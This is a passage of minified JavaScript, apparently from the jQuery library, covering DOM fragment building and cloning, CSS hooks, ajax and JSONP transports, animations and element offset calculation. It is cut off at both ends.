g=f(this);a[0]=j.call(this,e,c?g.html():b),g.domManip(a,c,d)});if(this[0]){i=j&&j.parentNode,f.support.parentNode&&i&&i.nodeType===11&&i.childNodes.length===this.length?e={fragment:i}:e=f.buildFragment(a,this,k),h=e.fragment,h.childNodes.length===1?g=h=h.firstChild:g=h.firstChild;if(g){c=c&&f.nodeName(g,"tr");for(var l=0,m=this.length,n=m-1;l<m;l++)d.call(c?bi(this[l],g):this[l],e.cacheable||m>1&&l<n?f.clone(h,!0,!0):h)}k.length&&f.each(k,bp)}return this}}),f.buildFragment=function(a,b,d){var e,g,h,i,j=a[0];b&&b[0]&&(i=b[0].ownerDocument||b[0]),i.createDocumentFragment||(i=c),a.length===1&&typeof j=="string"&&j.length<512&&i===c&&j.charAt(0)==="<"&&!bb.test(j)&&(f.support.checkClone||!bd.test(j))&&(f.support.html5Clone||!bc.test(j))&&(g=!0,h=f.fragments[j],h&&h!==1&&(e=h)),e||(e=i.createDocumentFragment(),f.clean(a,i,e,d)),g&&(f.fragments[j]=h?e:1);return{fragment:e,cacheable:g}},f.fragments={},f.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(a,b){f.fn[a]=function(c){var d=[],e=f(c),g=this.length===1&&this[0].parentNode;if(g&&g.nodeType===11&&g.childNodes.length===1&&e.length===1){e[b](this[0]);return this}for(var h=0,i=e.length;h<i;h++){var j=(h>0?this.clone(!0):this).get();f(e[h])[b](j),d=d.concat(j)}return this.pushStack(d,a,e.selector)}}),f.extend({clone:function(a,b,c){var d,e,g,h=f.support.html5Clone||!bc.test("<"+a.nodeName)?a.cloneNode(!0):bo(a);if((!f.support.noCloneEvent||!f.support.noCloneChecked)&&(a.nodeType===1||a.nodeType===11)&&!f.isXMLDoc(a)){bk(a,h),d=bl(a),e=bl(h);for(g=0;d[g];++g)e[g]&&bk(d[g],e[g])}if(b){bj(a,h);if(c){d=bl(a),e=bl(h);for(g=0;d[g];++g)bj(d[g],e[g])}}d=e=null;return h},clean:function(a,b,d,e){var g;b=b||c,typeof b.createElement=="undefined"&&(b=b.ownerDocument||b[0]&&b[0].ownerDocument||c);var h=[],i;for(var j=0,k;(k=a[j])!=null;j++){typeof k=="number"&&(k+="");if(!k)continue;if(typeof k=="string")if(!_.test(k))k=b.createTextNode(k);else{k=k.replace(Y,"<$1></$2>");var l=(Z.exec(k)||["",""])[1].toLowerCase(),m=bg[l]||bg._default,n=m[0],o=b.createElement("div");b===c?bh.appendChild(o):U(b).appendChild(o),o.innerHTML=m[1]+k+m[2];while(n--)o=o.lastChild;if(!f.support.tbody){var p=$.test(k),q=l==="table"&&!p?o.firstChild&&o.firstChild.childNodes:m[1]==="<table>"&&!p?o.childNodes:[];for(i=q.length-1;i>=0;--i)f.nodeName(q[i],"tbody")&&!q[i].childNodes.length&&q[i].parentNode.removeChild(q[i])}!f.support.leadingWhitespace&&X.test(k)&&o.insertBefore(b.createTextNode(X.exec(k)[0]),o.firstChild),k=o.childNodes}var r;if(!f.support.appendChecked)if(k[0]&&typeof (r=k.length)=="number")for(i=0;i<r;i++)bn(k[i]);else bn(k);k.nodeType?h.push(k):h=f.merge(h,k)}if(d){g=function(a){return!a.type||be.test(a.type)};for(j=0;h[j];j++)if(e&&f.nodeName(h[j],"script")&&(!h[j].type||h[j].type.toLowerCase()==="text/javascript"))e.push(h[j].parentNode?h[j].parentNode.removeChild(h[j]):h[j]);else{if(h[j].nodeType===1){var s=f.grep(h[j].getElementsByTagName("script"),g);h.splice.apply(h,[j+1,0].concat(s))}d.appendChild(h[j])}}return h},cleanData:function(a){var b,c,d=f.cache,e=f.event.special,g=f.support.deleteExpando;for(var h=0,i;(i=a[h])!=null;h++){if(i.nodeName&&f.noData[i.nodeName.toLowerCase()])continue;c=i[f.expando];if(c){b=d[c];if(b&&b.events){for(var j in b.events)e[j]?f.event.remove(i,j):f.removeEvent(i,j,b.handle);b.handle&&(b.handle.elem=null)}g?delete i[f.expando]:i.removeAttribute&&i.removeAttribute(f.expando),delete d[c]}}}});var bq=/alpha\([^)]*\)/i,br=/opacity=([^)]*)/,bs=/([A-Z]|^ms)/g,bt=/^-?\d+(?:px)?$/i,bu=/^-?\d/,bv=/^([\-+])=([\-+.\de]+)/,bw={position:"absolute",visibility:"hidden",display:"block"},bx=["Left","Right"],by=["Top","Bottom"],bz,bA,bB;f.fn.css=function(a,c){if(arguments.length===2&&c===b)return this;return f.access(this,a,c,!0,function(a,c,d){return d!==b?f.style(a,c,d):f.css(a,c)})},f.extend({cssHooks:{opacity:{get:function(a,b){if(b){var c=bz(a,"opacity","opacity");return c===""?"1":c}return a.style.opacity}}},cssNumber:{fillOpacity:!0,fontWeight:!0,lineHeight:!0,opacity:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{"float":f.support.cssFloat?"cssFloat":"styleFloat"},style:function(a,c,d,e){if(!!a&&a.nodeType!==3&&a.nodeType!==8&&!!a.style){var g,h,i=f.camelCase(c),j=a.style,k=f.cssHooks[i];c=f.cssProps[i]||i;if(d===b){if(k&&"get"in k&&(g=k.get(a,!1,e))!==b)return g;return j[c]}h=typeof d,h==="string"&&(g=bv.exec(d))&&(d=+(g[1]+1)*+g[2]+parseFloat(f.css(a,c)),h="number");if(d==null||h==="number"&&isNaN(d))return;h==="number"&&!f.cssNumber[i]&&(d+="px");if(!k||!("set"in k)||(d=k.set(a,d))!==b)try{j[c]=d}catch(l){}}},css:function(a,c,d){var e,g;c=f.camelCase(c),g=f.cssHooks[c],c=f.cssProps[c]||c,c==="cssFloat"&&(c="float");if(g&&"get"in g&&(e=g.get(a,!0,d))!==b)return e;if(bz)return bz(a,c)},swap:function(a,b,c){var d={};for(var e in b)d[e]=a.style[e],a.style[e]=b[e];c.call(a);for(e in b)a.style[e]=d[e]}}),f.curCSS=f.css,f.each(["height","width"],function(a,b){f.cssHooks[b]={get:function(a,c,d){var e;if(c){if(a.offsetWidth!==0)return bC(a,b,d);f.swap(a,bw,function(){e=bC(a,b,d)});return e}},set:function(a,b){if(!bt.test(b))return b;b=parseFloat(b);if(b>=0)return b+"px"}}}),f.support.opacity||(f.cssHooks.opacity={get:function(a,b){return br.test((b&&a.currentStyle?a.currentStyle.filter:a.style.filter)||"")?parseFloat(RegExp.$1)/100+"":b?"1":""},set:function(a,b){var c=a.style,d=a.currentStyle,e=f.isNumeric(b)?"alpha(opacity="+b*100+")":"",g=d&&d.filter||c.filter||"";c.zoom=1;if(b>=1&&f.trim(g.replace(bq,""))===""){c.removeAttribute("filter");if(d&&!d.filter)return}c.filter=bq.test(g)?g.replace(bq,e):g+" "+e}}),f(function(){f.support.reliableMarginRight||(f.cssHooks.marginRight={get:function(a,b){var c;f.swap(a,{display:"inline-block"},function(){b?c=bz(a,"margin-right","marginRight"):c=a.style.marginRight});return c}})}),c.defaultView&&c.defaultView.getComputedStyle&&(bA=function(a,b){var c,d,e;b=b.replace(bs,"-$1").toLowerCase(),(d=a.ownerDocument.defaultView)&&(e=d.getComputedStyle(a,null))&&(c=e.getPropertyValue(b),c===""&&!f.contains(a.ownerDocument.documentElement,a)&&(c=f.style(a,b)));return c}),c.documentElement.currentStyle&&(bB=function(a,b){var c,d,e,f=a.currentStyle&&a.currentStyle[b],g=a.style;f===null&&g&&(e=g[b])&&(f=e),!bt.test(f)&&bu.test(f)&&(c=g.left,d=a.runtimeStyle&&a.runtimeStyle.left,d&&(a.runtimeStyle.left=a.currentStyle.left),g.left=b==="fontSize"?"1em":f||0,f=g.pixelLeft+"px",g.left=c,d&&(a.runtimeStyle.left=d));return f===""?"auto":f}),bz=bA||bB,f.expr&&f.expr.filters&&(f.expr.filters.hidden=function(a){var b=a.offsetWidth,c=a.offsetHeight;return b===0&&c===0||!f.support.reliableHiddenOffsets&&(a.style&&a.style.display||f.css(a,"display"))==="none"},f.expr.filters.visible=function(a){return!f.expr.filters.hidden(a)});var bD=/%20/g,bE=/\[\]$/,bF=/\r?\n/g,bG=/#.*$/,bH=/^(.*?):[ \t]*([^\r\n]*)\r?$/mg,bI=/^(?:color|date|datetime|datetime-local|email|hidden|month|number|password|range|search|tel|text|time|url|week)$/i,bJ=/^(?:about|app|app\-storage|.+\-extension|file|res|widget):$/,bK=/^(?:GET|HEAD)$/,bL=/^\/\//,bM=/\?/,bN=/<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi,bO=/^(?:select|textarea)/i,bP=/\s+/,bQ=/([?&])_=[^&]*/,bR=/^([\w\+\.\-]+:)(?:\/\/([^\/?#:]*)(?::(\d+))?)?/,bS=f.fn.load,bT={},bU={},bV,bW,bX=["*/"]+["*"];try{bV=e.href}catch(bY){bV=c.createElement("a"),bV.href="",bV=bV.href}bW=bR.exec(bV.toLowerCase())||[],f.fn.extend({load:function(a,c,d){if(typeof a!="string"&&bS)return bS.apply(this,arguments);if(!this.length)return this;var e=a.indexOf(" ");if(e>=0){var g=a.slice(e,a.length);a=a.slice(0,e)}var h="GET";c&&(f.isFunction(c)?(d=c,c=b):typeof c=="object"&&(c=f.param(c,f.ajaxSettings.traditional),h="POST"));var i=this;f.ajax({url:a,type:h,dataType:"html",data:c,complete:function(a,b,c){c=a.responseText,a.isResolved()&&(a.done(function(a){c=a}),i.html(g?f("<div>").append(c.replace(bN,"")).find(g):c)),d&&i.each(d,[c,b,a])}});return this},serialize:function(){return f.param(this.serializeArray())},serializeArray:function(){return this.map(function(){return this.elements?f.makeArray(this.elements):this}).filter(function(){return this.name&&!this.disabled&&(this.checked||bO.test(this.nodeName)||bI.test(this.type))}).map(function(a,b){var c=f(this).val();return c==null?null:f.isArray(c)?f.map(c,function(a,c){return{name:b.name,value:a.replace(bF,"\r\n")}}):{name:b.name,value:c.replace(bF,"\r\n")}}).get()}}),f.each("ajaxStart ajaxStop ajaxComplete ajaxError ajaxSuccess ajaxSend".split(" "),function(a,b){f.fn[b]=function(a){return this.on(b,a)}}),f.each(["get","post"],function(a,c){f[c]=function(a,d,e,g){f.isFunction(d)&&(g=g||e,e=d,d=b);return f.ajax({type:c,url:a,data:d,success:e,dataType:g})}}),f.extend({getScript:function(a,c){return f.get(a,b,c,"script")},getJSON:function(a,b,c){return f.get(a,b,c,"json")},ajaxSetup:function(a,b){b?b_(a,f.ajaxSettings):(b=a,a=f.ajaxSettings),b_(a,b);return a},ajaxSettings:{url:bV,isLocal:bJ.test(bW[1]),global:!0,type:"GET",contentType:"application/x-www-form-urlencoded",processData:!0,async:!0,accepts:{xml:"application/xml, text/xml",html:"text/html",text:"text/plain",json:"application/json, text/javascript","*":bX},contents:{xml:/xml/,html:/html/,json:/json/},responseFields:{xml:"responseXML",text:"responseText"},converters:{"* text":a.String,"text html":!0,"text json":f.parseJSON,"text xml":f.parseXML},flatOptions:{context:!0,url:!0}},ajaxPrefilter:bZ(bT),ajaxTransport:bZ(bU),ajax:function(a,c){function w(a,c,l,m){if(s!==2){s=2,q&&clearTimeout(q),p=b,n=m||"",v.readyState=a>0?4:0;var o,r,u,w=c,x=l?cb(d,v,l):b,y,z;if(a>=200&&a<300||a===304){if(d.ifModified){if(y=v.getResponseHeader("Last-Modified"))f.lastModified[k]=y;if(z=v.getResponseHeader("Etag"))f.etag[k]=z}if(a===304)w="notmodified",o=!0;else try{r=cc(d,x),w="success",o=!0}catch(A){w="parsererror",u=A}}else{u=w;if(!w||a)w="error",a<0&&(a=0)}v.status=a,v.statusText=""+(c||w),o?h.resolveWith(e,[r,w,v]):h.rejectWith(e,[v,w,u]),v.statusCode(j),j=b,t&&g.trigger("ajax"+(o?"Success":"Error"),[v,d,o?r:u]),i.fireWith(e,[v,w]),t&&(g.trigger("ajaxComplete",[v,d]),--f.active||f.event.trigger("ajaxStop"))}}typeof a=="object"&&(c=a,a=b),c=c||{};var d=f.ajaxSetup({},c),e=d.context||d,g=e!==d&&(e.nodeType||e instanceof f)?f(e):f.event,h=f.Deferred(),i=f.Callbacks("once memory"),j=d.statusCode||{},k,l={},m={},n,o,p,q,r,s=0,t,u,v={readyState:0,setRequestHeader:function(a,b){if(!s){var c=a.toLowerCase();a=m[c]=m[c]||a,l[a]=b}return this},getAllResponseHeaders:function(){return s===2?n:null},getResponseHeader:function(a){var c;if(s===2){if(!o){o={};while(c=bH.exec(n))o[c[1].toLowerCase()]=c[2]}c=o[a.toLowerCase()]}return c===b?null:c},overrideMimeType:function(a){s||(d.mimeType=a);return this},abort:function(a){a=a||"abort",p&&p.abort(a),w(0,a);return this}};h.promise(v),v.success=v.done,v.error=v.fail,v.complete=i.add,v.statusCode=function(a){if(a){var b;if(s<2)for(b in a)j[b]=[j[b],a[b]];else b=a[v.status],v.then(b,b)}return this},d.url=((a||d.url)+"").replace(bG,"").replace(bL,bW[1]+"//"),d.dataTypes=f.trim(d.dataType||"*").toLowerCase().split(bP),d.crossDomain==null&&(r=bR.exec(d.url.toLowerCase()),d.crossDomain=!(!r||r[1]==bW[1]&&r[2]==bW[2]&&(r[3]||(r[1]==="http:"?80:443))==(bW[3]||(bW[1]==="http:"?80:443)))),d.data&&d.processData&&typeof d.data!="string"&&(d.data=f.param(d.data,d.traditional)),b$(bT,d,c,v);if(s===2)return!1;t=d.global,d.type=d.type.toUpperCase(),d.hasContent=!bK.test(d.type),t&&f.active++===0&&f.event.trigger("ajaxStart");if(!d.hasContent){d.data&&(d.url+=(bM.test(d.url)?"&":"?")+d.data,delete d.data),k=d.url;if(d.cache===!1){var x=f.now(),y=d.url.replace(bQ,"$1_="+x);d.url=y+(y===d.url?(bM.test(d.url)?"&":"?")+"_="+x:"")}}(d.data&&d.hasContent&&d.contentType!==!1||c.contentType)&&v.setRequestHeader("Content-Type",d.contentType),d.ifModified&&(k=k||d.url,f.lastModified[k]&&v.setRequestHeader("If-Modified-Since",f.lastModified[k]),f.etag[k]&&v.setRequestHeader("If-None-Match",f.etag[k])),v.setRequestHeader("Accept",d.dataTypes[0]&&d.accepts[d.dataTypes[0]]?d.accepts[d.dataTypes[0]]+(d.dataTypes[0]!=="*"?", "+bX+"; q=0.01":""):d.accepts["*"]);for(u in d.headers)v.setRequestHeader(u,d.headers[u]);if(d.beforeSend&&(d.beforeSend.call(e,v,d)===!1||s===2)){v.abort();return!1}for(u in{success:1,error:1,complete:1})v[u](d[u]);p=b$(bU,d,c,v);if(!p)w(-1,"No Transport");else{v.readyState=1,t&&g.trigger("ajaxSend",[v,d]),d.async&&d.timeout>0&&(q=setTimeout(function(){v.abort("timeout")},d.timeout));try{s=1,p.send(l,w)}catch(z){if(s<2)w(-1,z);else throw z}}return v},param:function(a,c){var d=[],e=function(a,b){b=f.isFunction(b)?b():b,d[d.length]=encodeURIComponent(a)+"="+encodeURIComponent(b)};c===b&&(c=f.ajaxSettings.traditional);if(f.isArray(a)||a.jquery&&!f.isPlainObject(a))f.each(a,function(){e(this.name,this.value)});else for(var g in a)ca(g,a[g],c,e);return d.join("&").replace(bD,"+")}}),f.extend({active:0,lastModified:{},etag:{}});var cd=f.now(),ce=/(\=)\?(&|$)|\?\?/i;f.ajaxSetup({jsonp:"callback",jsonpCallback:function(){return f.expando+"_"+cd++}}),f.ajaxPrefilter("json jsonp",function(b,c,d){var e=b.contentType==="application/x-www-form-urlencoded"&&typeof b.data=="string";if(b.dataTypes[0]==="jsonp"||b.jsonp!==!1&&(ce.test(b.url)||e&&ce.test(b.data))){var g,h=b.jsonpCallback=f.isFunction(b.jsonpCallback)?b.jsonpCallback():b.jsonpCallback,i=a[h],j=b.url,k=b.data,l="$1"+h+"$2";b.jsonp!==!1&&(j=j.replace(ce,l),b.url===j&&(e&&(k=k.replace(ce,l)),b.data===k&&(j+=(/\?/.test(j)?"&":"?")+b.jsonp+"="+h))),b.url=j,b.data=k,a[h]=function(a){g=[a]},d.always(function(){a[h]=i,g&&f.isFunction(i)&&a[h](g[0])}),b.converters["script json"]=function(){g||f.error(h+" was not called");return g[0]},b.dataTypes[0]="json";return"script"}}),f.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/javascript|ecmascript/},converters:{"text script":function(a){f.globalEval(a);return a}}}),f.ajaxPrefilter("script",function(a){a.cache===b&&(a.cache=!1),a.crossDomain&&(a.type="GET",a.global=!1)}),f.ajaxTransport("script",function(a){if(a.crossDomain){var d,e=c.head||c.getElementsByTagName("head")[0]||c.documentElement;return{send:function(f,g){d=c.createElement("script"),d.async="async",a.scriptCharset&&(d.charset=a.scriptCharset),d.src=a.url,d.onload=d.onreadystatechange=function(a,c){if(c||!d.readyState||/loaded|complete/.test(d.readyState))d.onload=d.onreadystatechange=null,e&&d.parentNode&&e.removeChild(d),d=b,c||g(200,"success")},e.insertBefore(d,e.firstChild)},abort:function(){d&&d.onload(0,1)}}}});var cf=a.ActiveXObject?function(){for(var a in ch)ch[a](0,1)}:!1,cg=0,ch;f.ajaxSettings.xhr=a.ActiveXObject?function(){return!this.isLocal&&ci()||cj()}:ci,function(a){f.extend(f.support,{ajax:!!a,cors:!!a&&"withCredentials"in a})}(f.ajaxSettings.xhr()),f.support.ajax&&f.ajaxTransport(function(c){if(!c.crossDomain||f.support.cors){var d;return{send:function(e,g){var h=c.xhr(),i,j;c.username?h.open(c.type,c.url,c.async,c.username,c.password):h.open(c.type,c.url,c.async);if(c.xhrFields)for(j in c.xhrFields)h[j]=c.xhrFields[j];c.mimeType&&h.overrideMimeType&&h.overrideMimeType(c.mimeType),!c.crossDomain&&!e["X-Requested-With"]&&(e["X-Requested-With"]="XMLHttpRequest");try{for(j in e)h.setRequestHeader(j,e[j])}catch(k){}h.send(c.hasContent&&c.data||null),d=function(a,e){var j,k,l,m,n;try{if(d&&(e||h.readyState===4)){d=b,i&&(h.onreadystatechange=f.noop,cf&&delete ch[i]);if(e)h.readyState!==4&&h.abort();else{j=h.status,l=h.getAllResponseHeaders(),m={},n=h.responseXML,n&&n.documentElement&&(m.xml=n),m.text=h.responseText;try{k=h.statusText}catch(o){k=""}!j&&c.isLocal&&!c.crossDomain?j=m.text?200:404:j===1223&&(j=204)}}}catch(p){e||g(-1,p)}m&&g(j,k,m,l)},!c.async||h.readyState===4?d():(i=++cg,cf&&(ch||(ch={},f(a).unload(cf)),ch[i]=d),h.onreadystatechange=d)},abort:function(){d&&d(0,1)}}}});var ck={},cl,cm,cn=/^(?:toggle|show|hide)$/,co=/^([+\-]=)?([\d+.\-]+)([a-z%]*)$/i,cp,cq=[["height","marginTop","marginBottom","paddingTop","paddingBottom"],["width","marginLeft","marginRight","paddingLeft","paddingRight"],["opacity"]],cr;f.fn.extend({show:function(a,b,c){var d,e;if(a||a===0)return this.animate(cu("show",3),a,b,c);for(var g=0,h=this.length;g<h;g++)d=this[g],d.style&&(e=d.style.display,!f._data(d,"olddisplay")&&e==="none"&&(e=d.style.display=""),e===""&&f.css(d,"display")==="none"&&f._data(d,"olddisplay",cv(d.nodeName)));for(g=0;g<h;g++){d=this[g];if(d.style){e=d.style.display;if(e===""||e==="none")d.style.display=f._data(d,"olddisplay")||""}}return this},hide:function(a,b,c){if(a||a===0)return this.animate(cu("hide",3),a,b,c);var d,e,g=0,h=this.length;for(;g<h;g++)d=this[g],d.style&&(e=f.css(d,"display"),e!=="none"&&!f._data(d,"olddisplay")&&f._data(d,"olddisplay",e));for(g=0;g<h;g++)this[g].style&&(this[g].style.display="none");return this},_toggle:f.fn.toggle,toggle:function(a,b,c){var d=typeof a=="boolean";f.isFunction(a)&&f.isFunction(b)?this._toggle.apply(this,arguments):a==null||d?this.each(function(){var b=d?a:f(this).is(":hidden");f(this)[b?"show":"hide"]()}):this.animate(cu("toggle",3),a,b,c);return this},fadeTo:function(a,b,c,d){return this.filter(":hidden").css("opacity",0).show().end().animate({opacity:b},a,c,d)},animate:function(a,b,c,d){function g(){e.queue===!1&&f._mark(this);var b=f.extend({},e),c=this.nodeType===1,d=c&&f(this).is(":hidden"),g,h,i,j,k,l,m,n,o;b.animatedProperties={};for(i in a){g=f.camelCase(i),i!==g&&(a[g]=a[i],delete a[i]),h=a[g],f.isArray(h)?(b.animatedProperties[g]=h[1],h=a[g]=h[0]):b.animatedProperties[g]=b.specialEasing&&b.specialEasing[g]||b.easing||"swing";if(h==="hide"&&d||h==="show"&&!d)return b.complete.call(this);c&&(g==="height"||g==="width")&&(b.overflow=[this.style.overflow,this.style.overflowX,this.style.overflowY],f.css(this,"display")==="inline"&&f.css(this,"float")==="none"&&(!f.support.inlineBlockNeedsLayout||cv(this.nodeName)==="inline"?this.style.display="inline-block":this.style.zoom=1))}b.overflow!=null&&(this.style.overflow="hidden");for(i in a)j=new f.fx(this,b,i),h=a[i],cn.test(h)?(o=f._data(this,"toggle"+i)||(h==="toggle"?d?"show":"hide":0),o?(f._data(this,"toggle"+i,o==="show"?"hide":"show"),j[o]()):j[h]()):(k=co.exec(h),l=j.cur(),k?(m=parseFloat(k[2]),n=k[3]||(f.cssNumber[i]?"":"px"),n!=="px"&&(f.style(this,i,(m||1)+n),l=(m||1)/j.cur()*l,f.style(this,i,l+n)),k[1]&&(m=(k[1]==="-="?-1:1)*m+l),j.custom(l,m,n)):j.custom(l,h,""));return!0}var e=f.speed(b,c,d);if(f.isEmptyObject(a))return this.each(e.complete,[!1]);a=f.extend({},a);return e.queue===!1?this.each(g):this.queue(e.queue,g)},stop:function(a,c,d){typeof a!="string"&&(d=c,c=a,a=b),c&&a!==!1&&this.queue(a||"fx",[]);return this.each(function(){function h(a,b,c){var e=b[c];f.removeData(a,c,!0),e.stop(d)}var b,c=!1,e=f.timers,g=f._data(this);d||f._unmark(!0,this);if(a==null)for(b in g)g[b]&&g[b].stop&&b.indexOf(".run")===b.length-4&&h(this,g,b);else g[b=a+".run"]&&g[b].stop&&h(this,g,b);for(b=e.length;b--;)e[b].elem===this&&(a==null||e[b].queue===a)&&(d?e[b](!0):e[b].saveState(),c=!0,e.splice(b,1));(!d||!c)&&f.dequeue(this,a)})}}),f.each({slideDown:cu("show",1),slideUp:cu("hide",1),slideToggle:cu("toggle",1),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},function(a,b){f.fn[a]=function(a,c,d){return this.animate(b,a,c,d)}}),f.extend({speed:function(a,b,c){var d=a&&typeof a=="object"?f.extend({},a):{complete:c||!c&&b||f.isFunction(a)&&a,duration:a,easing:c&&b||b&&!f.isFunction(b)&&b};d.duration=f.fx.off?0:typeof d.duration=="number"?d.duration:d.duration in f.fx.speeds?f.fx.speeds[d.duration]:f.fx.speeds._default;if(d.queue==null||d.queue===!0)d.queue="fx";d.old=d.complete,d.complete=function(a){f.isFunction(d.old)&&d.old.call(this),d.queue?f.dequeue(this,d.queue):a!==!1&&f._unmark(this)};return d},easing:{linear:function(a,b,c,d){return c+d*a},swing:function(a,b,c,d){return(-Math.cos(a*Math.PI)/2+.5)*d+c}},timers:[],fx:function(a,b,c){this.options=b,this.elem=a,this.prop=c,b.orig=b.orig||{}}}),f.fx.prototype={update:function(){this.options.step&&this.options.step.call(this.elem,this.now,this),(f.fx.step[this.prop]||f.fx.step._default)(this)},cur:function(){if(this.elem[this.prop]!=null&&(!this.elem.style||this.elem.style[this.prop]==null))return this.elem[this.prop];var a,b=f.css(this.elem,this.prop);return isNaN(a=parseFloat(b))?!b||b==="auto"?0:b:a},custom:function(a,c,d){function h(a){return e.step(a)}var e=this,g=f.fx;this.startTime=cr||cs(),this.end=c,this.now=this.start=a,this.pos=this.state=0,this.unit=d||this.unit||(f.cssNumber[this.prop]?"":"px"),h.queue=this.options.queue,h.elem=this.elem,h.saveState=function(){e.options.hide&&f._data(e.elem,"fxshow"+e.prop)===b&&f._data(e.elem,"fxshow"+e.prop,e.start)},h()&&f.timers.push(h)&&!cp&&(cp=setInterval(g.tick,g.interval))},show:function(){var a=f._data(this.elem,"fxshow"+this.prop);this.options.orig[this.prop]=a||f.style(this.elem,this.prop),this.options.show=!0,a!==b?this.custom(this.cur(),a):this.custom(this.prop==="width"||this.prop==="height"?1:0,this.cur()),f(this.elem).show()},hide:function(){this.options.orig[this.prop]=f._data(this.elem,"fxshow"+this.prop)||f.style(this.elem,this.prop),this.options.hide=!0,this.custom(this.cur(),0)},step:function(a){var b,c,d,e=cr||cs(),g=!0,h=this.elem,i=this.options;if(a||e>=i.duration+this.startTime){this.now=this.end,this.pos=this.state=1,this.update(),i.animatedProperties[this.prop]=!0;for(b in i.animatedProperties)i.animatedProperties[b]!==!0&&(g=!1);if(g){i.overflow!=null&&!f.support.shrinkWrapBlocks&&f.each(["","X","Y"],function(a,b){h.style["overflow"+b]=i.overflow[a]}),i.hide&&f(h).hide();if(i.hide||i.show)for(b in i.animatedProperties)f.style(h,b,i.orig[b]),f.removeData(h,"fxshow"+b,!0),f.removeData(h,"toggle"+b,!0);d=i.complete,d&&(i.complete=!1,d.call(h))}return!1}i.duration==Infinity?this.now=e:(c=e-this.startTime,this.state=c/i.duration,this.pos=f.easing[i.animatedProperties[this.prop]](this.state,c,0,1,i.duration),this.now=this.start+(this.end-this.start)*this.pos),this.update();return!0}},f.extend(f.fx,{tick:function(){var a,b=f.timers,c=0;for(;c<b.length;c++)a=b[c],!a()&&b[c]===a&&b.splice(c--,1);b.length||f.fx.stop()},interval:13,stop:function(){clearInterval(cp),cp=null},speeds:{slow:600,fast:200,_default:400},step:{opacity:function(a){f.style(a.elem,"opacity",a.now)},_default:function(a){a.elem.style&&a.elem.style[a.prop]!=null?a.elem.style[a.prop]=a.now+a.unit:a.elem[a.prop]=a.now}}}),f.each(["width","height"],function(a,b){f.fx.step[b]=function(a){f.style(a.elem,b,Math.max(0,a.now)+a.unit)}}),f.expr&&f.expr.filters&&(f.expr.filters.animated=function(a){return f.grep(f.timers,function(b){return a===b.elem}).length});var cw=/^t(?:able|d|h)$/i,cx=/^(?:body|html)$/i;"getBoundingClientRect"in c.documentElement?f.fn.offset=function(a){var b=this[0],c;if(a)return this.each(function(b){f.offset.setOffset(this,a,b)});if(!b||!b.ownerDocument)return null;if(b===b.ownerDocument.body)return f.offset.bodyOffset(b);try{c=b.getBoundingClientRect()}catch(d){}var e=b.ownerDocument,g=e.documentElement;if(!c||!f.contains(g,b))return c?{top:c.top,left:c.left}:{top:0,left:0};var h=e.body,i=cy(e),j=g.clientTop||h.clientTop||0,k=g.clientLeft||h.clientLeft||0,l=i.pageYOffset||f.support.boxModel&&g.scrollTop||h.scrollTop,m=i.pageXOffset||f.support.boxModel&&g.scrollLeft||h.scrollLeft,n=c.top+l-j,o=c.left+m-k;return{top:n,left:o}}:f.fn.offset=function(a){var b=this[0];if(a)return this.each(function(b){f.offset.setOffset(this,a,b)});if(!b||!b.ownerDocument)return null;if(b===b.ownerDocument.body)return f.offset.bodyOffset(b);var c,d=b.offsetParent,e=b,g=b.ownerDocument,h=g.documentElement,i=g.body,j=g.defaultView,k=j?j.getComputedStyle(b,null):b.currentStyle,l=b.offsetTop,m=b.offsetLeft;while((b=b.parentNode)&&b!==i&&b!==h){if(f.support.fixedPosition&&k.position==="fixed")break;c=j?j.getComputedStyle(b,null):b.currentStyle,l-=b.scrollTop,m-=b.scrollLeft,b===d&&(l+=b.offsetTop,m+=b.offsetLeft,f.support.doesNotAddBorder&&(!f.support.doesAddBorderForTableAndCells||!cw.test(b.nodeName))&&(l+=parseFloat(c.borderTopWidth)||0,m+=parseFloat(c.borderLeftWidth)||0),e=d,d=b.offsetParent),f.support.subtractsBorderForOverflowNotVisible&&c.overflow!=="visible"&&(l+=parseFloat(c.borderTopWidth)||0,m+=parseFloat(c.borderLeftWidth)||0),k=c}if(k.position==="relative"||k.position==="static")l+=i.offsetTop,m+=i.offsetLeft;f.support.fixedPosition&&k.position==="fixed"&&(l+=Math.max(h.scrollTop,i.scrollTop),m+=Math.max(h.scrollLeft,i.scrollLeft));return{top:l,left:m}},f.offset={bodyOffset:function(a){var b=a.offsetTop,c=a.offsetLeft;f.support.doesNotIncludeMarginInBodyOffset&&(b+=parseFloat(f.css(a,"marginTop"))||0,c+=parseFloat(f.css(a,"marginLeft"))||0);return{top:b,left:c}},setOffset:function(a,b,c){var d=f.css(a,"position");d==="static"&&(a.style.position="relative");var e=f(a),g=e.offset(),h=f.css(a,"top"),i=f.css(a,"left"),j=(d==="absolute"||d==="fixed")&&f.inArray("auto",[h,i])>-1,k={},l={},m,n;j?(l=e.position(),m=l.top,n=l.left):(m=parseFloat(h)||0,n=parseFloat(i)||0),f.isFunction(b)&&(b=b.call(a,c,g)),b.top!=null&&(k.top=b.top-g.top+m),b.left!=null&&(k.left=b.left-g.left+n),"using"in b?b.using.call(a,k):e.css(k)}},f.fn.extend({position:function(){if(!this[0])return null;var a=this[0],b=this.offsetParent(),c=this.offset(),d=cx.test(b[0].nodeName)?{top:0,left:0}:b.offset();c.top-=parseFloat(f.css(a,"marginTop"))||0,c.left-=parseFloat(f.css(a,"marginLeft"))||0,d.top+=parseFloat(f.css(b[0],"borderTopWidth"))||0,d.left+=parseFloat(f.css(b[0],"borderLeftWidth"))||0;return{top:c.top-d.top,left:c.left-d.left}},offsetParent:function(){return this.map(function(){var a=this.offsetParent||c.body;while(a&&!cx.test(a.nodeName)&&f.css(a,"position")==="static")a=a.offsetParent;return a})}}),f.each(["Left","Top"],function(a,c){var d="scroll"+c;f.fn[d]=function(c){var e,g;if(c===b){e=this[0];if(!e)return null;g=cy(e);return g?"pageXOffset"in g?g[a?"pageYOffset":"pageXOffset"]:f.support.boxModel&&g.document.documentElement[d]||g.document.body[d]:e[d]}return this.each(function(){g=cy(this),g?g.scrollTo(a?f(g).scrollLeft():c,a?c:f(g).scrollTop()):this[d]=c})}}),f.each(["Height","Width"],function(a,c){var 